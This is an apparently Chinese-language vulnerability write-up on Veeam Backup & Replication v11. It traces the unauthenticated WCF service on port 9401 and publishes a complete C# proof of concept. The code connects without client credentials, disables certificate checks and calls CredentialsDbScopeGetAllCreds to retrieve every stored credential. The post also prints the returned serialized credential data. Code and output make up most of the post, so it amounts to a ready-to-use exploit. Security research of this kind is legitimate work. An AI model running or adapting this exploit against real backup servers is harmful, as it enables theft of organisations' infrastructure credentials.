https://download2.veeam.com/VBR/v11/VeeamBackup&Replication_11.0.1.1261_20211123.iso
见之前文章 https://y4er.com/posts/cve-2022-26500-veeam-backup-replication-rce/
9401端口对应Veeam.Backup.Service.exe
典型的dotnet服务程序,其OnStart创建服务
CVbServiceImpl构造函数中创建ssl服务
创建ssl证书,并且绑定在BackupServerSslPort 9401端口上
CRemoteInvokeServiceHolder.CreateService(SOptions.Instance.BackupServerSslPort, mngrs)
创建了一个CRemoteInvokeServiceHolder对象
其构造函数将服务绑定在NetTcpBinding上,uri是net.tcp://172.16.16.153:9401/
,对应的处理类为CVbRestoreServiceStub
配置文件中可见详细的binding配置 C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Service.exe.config
CVbRestoreServiceStub类中可以用.net remoting wcf的形式调用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
NetTcpBinding binding = new NetTcpBinding();
NetTcpSecurity netTcpSecurity = new NetTcpSecurity();
netTcpSecurity.Mode = SecurityMode.Transport;
TcpTransportSecurity tcpTransportSecurity = new TcpTransportSecurity();
tcpTransportSecurity.ClientCredentialType = TcpClientCredentialType.None;
netTcpSecurity.Transport = tcpTransportSecurity;
binding.Security = netTcpSecurity;
binding.Name = "NetTcpBinding";
Uri uri = new Uri("net.tcp://172.16.16.153:9401/");
EndpointAddress endpoint = new EndpointAddress(uri, EndpointIdentity.CreateDnsIdentity("Veeam Backup Server Certificate"));
ChannelFactory<IRemoteInvokeService> myChannelFactory = new ChannelFactory<IRemoteInvokeService>(binding, endpoint);
X509ServiceCertificateAuthentication x509ServiceCertificateAuthentication = new X509ServiceCertificateAuthentication();
x509ServiceCertificateAuthentication.CertificateValidationMode = X509CertificateValidationMode.None;
myChannelFactory.Credentials.ServiceCertificate.SslCertificateAuthentication = x509ServiceCertificateAuthentication;
IRemoteInvokeService cVbRestoreServiceStub = myChannelFactory.CreateChannel(endpoint);
|
通过调用cVbRestoreServiceStub对象下的函数即可。该对象有一个invoke函数
在ProcessCommand中做函数请求分发
这个功能点太多了,别说泄露凭据,在这出现RCE我都不觉得奇怪。我在这放出来泄露凭据的点吧。
在ExecuteDatabaseManagerCommand中有一个CredentialsDbScopeGetAllCreds的case调用ExecuteCredentialsDbScopeGetAllCreds,顾名思义是拿所有的Creds。
最终读取凭据并返回
debug调试看到确实如此
写代码看看
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
|
using System;
using System.IdentityModel.Selectors;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
using System.Security.Cryptography.X509Certificates;
using System.ServiceModel;
using System.ServiceModel.Security;
using System.Xml;
using Veeam.Backup.Interaction.MountService;
namespace ConsoleApp4
{
internal class Program
{
static void Main(string[] args)
{
NetTcpBinding binding = new NetTcpBinding();
NetTcpSecurity netTcpSecurity = new NetTcpSecurity();
netTcpSecurity.Mode = SecurityMode.Transport;
TcpTransportSecurity tcpTransportSecurity = new TcpTransportSecurity();
tcpTransportSecurity.ClientCredentialType = TcpClientCredentialType.None;
netTcpSecurity.Transport = tcpTransportSecurity;
binding.Security = netTcpSecurity;
binding.Name = "NetTcpBinding_IRemoteInvokeService";
Uri uri = new Uri("net.tcp://172.16.16.153:9401/");
EndpointAddress endpoint = new EndpointAddress(uri, EndpointIdentity.CreateDnsIdentity("Veeam Backup Server Certificate"));
ChannelFactory<IRemoteInvokeService> myChannelFactory = new ChannelFactory<IRemoteInvokeService>(binding, endpoint);
X509ServiceCertificateAuthentication x509ServiceCertificateAuthentication = new X509ServiceCertificateAuthentication();
x509ServiceCertificateAuthentication.CertificateValidationMode = X509CertificateValidationMode.None;
myChannelFactory.Credentials.ServiceCertificate.SslCertificateAuthentication = x509ServiceCertificateAuthentication;
IRemoteInvokeService cVbRestoreServiceStub = myChannelFactory.CreateChannel(endpoint);
Guid guid = Guid.NewGuid();
MemoryStream memoryStream = new MemoryStream();
BinaryFormatter binaryFormatter = new BinaryFormatter();
binaryFormatter.Serialize(memoryStream, true);
string base64 = Convert.ToBase64String(memoryStream.ToArray());
Console.WriteLine(base64);
string xml = String.Format("""
<RemoteInvokeSpec ContextSessionId="{0}" Scope="Service" Method="CredentialsDbScopeGetAllCreds">
<Params>
<Param ParamName="includeHidden" ParamValue="{1}" ParamType="System.String"></Param>
</Params>
</RemoteInvokeSpec>
""", guid.ToString(), base64);
string v = cVbRestoreServiceStub.Invoke(ERemoteInvokeScope.DatabaseManager, ERemoteInvokeMethod.CredentialsDbScopeGetAllCreds, xml);
Console.WriteLine(v);
//xml = String.Format("""
// <RemoteInvokeSpec ContextSessionId="{0}">
// <DbExecSqlCommandRemoteInvokeSpec>
// <SqlCommand>GetAllCreds</SqlCommand>
// </DbExecSqlCommandRemoteInvokeSpec>
// </RemoteInvokeSpec>
// """, guid.ToString(), base64);
//string v1 = cVbRestoreServiceStub.Invoke(ERemoteInvokeScope.DatabaseAccessor, ERemoteInvokeMethod.ExecSqlCommand, xml);
//Console.WriteLine(v1);
Console.ReadKey();
}
}
}
|
最终返回的结果是序列化之后的xml
1
|
<?xml version="1.0"?><RemoteInvokeRetVal><Params><Param ParamName="retVal" ParamType="System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" ParamValue="AAEAAAD/////AQAAAAAAAAAMAgAAAFZWZWVhbS5CYWNrdXAuTW9kZWwsIFZlcnNpb249MTEuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YmZkNjg0ZGUyMjc2NzgzYQQBAAAAogFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1ZlZWFtLkJhY2t1cC5Nb2RlbC5DRGJDcmVkZW50aWFsc0luZm8sIFZlZWFtLkJhY2t1cC5Nb2RlbCwgVmVyc2lvbj0xMS4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iZmQ2ODRkZTIyNzY3ODNhXV0DAAAABl9pdGVtcwVfc2l6ZQhfdmVyc2lvbgQAACdWZWVhbS5CYWNrdXAuTW9kZWwuQ0RiQ3JlZGVudGlhbHNJbmZvW10CAAAACAgJAwAAAAQAAAAEAAAABwMAAAAAAQAAAAQAAAAEJVZlZWFtLkJhY2t1cC5Nb2RlbC5DRGJDcmVkZW50aWFsc0luZm8CAAAACQQAAAAJBQAAAAkGAAAACQcAAAAMCAAAAFdWZWVhbS5CYWNrdXAuQ29tbW9uLCBWZXJzaW9uPTExLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWJmZDY4NGRlMjI3Njc4M2EFBAAAACVWZWVhbS5CYWNrdXAuTW9kZWwuQ0RiQ3JlZGVudGlhbHNJbmZvBQAAABg8VmVyc2lvbj5rX19CYWNraW5nRmllbGQTPElkPmtfX0JhY2tpbmdGaWVsZBQ8VGFnPmtfX0JhY2tpbmdGaWVsZBg8VmlzaWJsZT5rX19CYWNraW5nRmllbGQcPENyZWRlbnRpYWxzPmtfX0JhY2tpbmdGaWVsZAADBAAECQtTeXN0ZW0uR3VpZCBWZWVhbS5CYWNrdXAuTW9kZWwuQ1Zick9iamVjdFRhZwIAAAABIFZlZWFtLkJhY2t1cC5Db21tb24uQ0NyZWRlbnRpYWxzCAAAAAIAAAArAAAAAAAAAAT3////C1N5c3RlbS5HdWlkCwAAAAJfYQJfYgJfYwJfZAJfZQJfZgJfZwJfaAJfaQJfagJfawAAAAAAAAAAAAAACAcHAgICAgICAgIDWydwBejhSZU1GGfGI3HiBfb///8gVmVlYW0uQmFja3VwLk1vZGVsLkNWYnJPYmplY3RUYWcBAAAAB190YWdTdHIBAgAAAAYLAAAAJDcwMjc1QjAzLUU4MDUtNDlFMS05NTM1LTE4NjdDNjIzNzFFMgEJDAAAAAEFAAAABAAAAFQAAAAAAAAAAfP////3////UK/rtWMaSEyDn1+KVFJSCwHy////9v///wYPAAAAJEI1RUJBRjUwLTFBNjMtNEM0OC04MzlGLTVGOEE1NDUyNTIwQgEJEAAAAAEGAAAABAAAAF0AAAAAAAAAAe/////3////0t55466Nmku3fX7ZnoxxUgHu////9v///wYTAAAAJEUzNzlERUQyLThEQUUtNEI5QS1CNzdELTdFRDk5RThDNzE1MgEJFAAAAAEHAAAABAAAAFMAAAAAAAAAAev////3////0UEA/WhKvUqu/rK/Art8qQHq////9v///wYXAAAAJEZEMDA0MUQxLTRBNjgtNEFCRC1BRUZFLUIyQkYwMkJCN0NBOQEJGAAAAAUMAAAAIFZlZWFtLkJhY2t1cC5Db21tb24uQ0NyZWRlbnRpYWxzBwAAAAhVc2VyTmFtZQhQYXNzd29yZA5Jc0xvY2FsUHJvdGVjdAtDdXJyZW50VXNlcgtEZXNjcmlwdGlvbhVDaGFuZ2VUaW1lVXRjSGFzVmFsdWUNQ2hhbmdlVGltZVV0YwEBAAABAAABAQENCAAAAAYZAAAABHJvb3QGGgAAAAABAAYbAAAAHEhlbHBlciBhcHBsaWFuY2UgY3JlZGVudGlhbHMB4MhQUIMm2wgBEAAAAAwAAAAGHAAAAARyb290CRoAAAABAAYeAAAAM1RlbmFudC1zaWRlIG5ldHdvcmsgZXh0ZW5zaW9uIGFwcGxpYW5jZSBjcmVkZW50aWFscwGwLdRCgybbCAEUAAAADAAAAAYfAAAABHJvb3QJGgAAAAEABiEAAAAiQXp1cmUgaGVscGVyIGFwcGxpYW5jZSBjcmVkZW50aWFscwHwIkZGgybbCAEYAAAADAAAAAYiAAAABHJvb3QJGgAAAAEABiQAAAA1UHJvdmlkZXItc2lkZSBuZXR3b3JrIGV4dGVuc2lvbiBhcHBsaWFuY2UgY3JlZGVudGlhbHMBsC3UQoMm2wgL" /></Params></RemoteInvokeRetVal>
|
懒得处理了,你们自己解吧。
在 https://twitter.com/codewhitesec/status/1633948476353519616?s=20 这个推文中,他拿到的密码有一个administrator,应该是某些参数或者我安装配置的问题,不深究了。
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。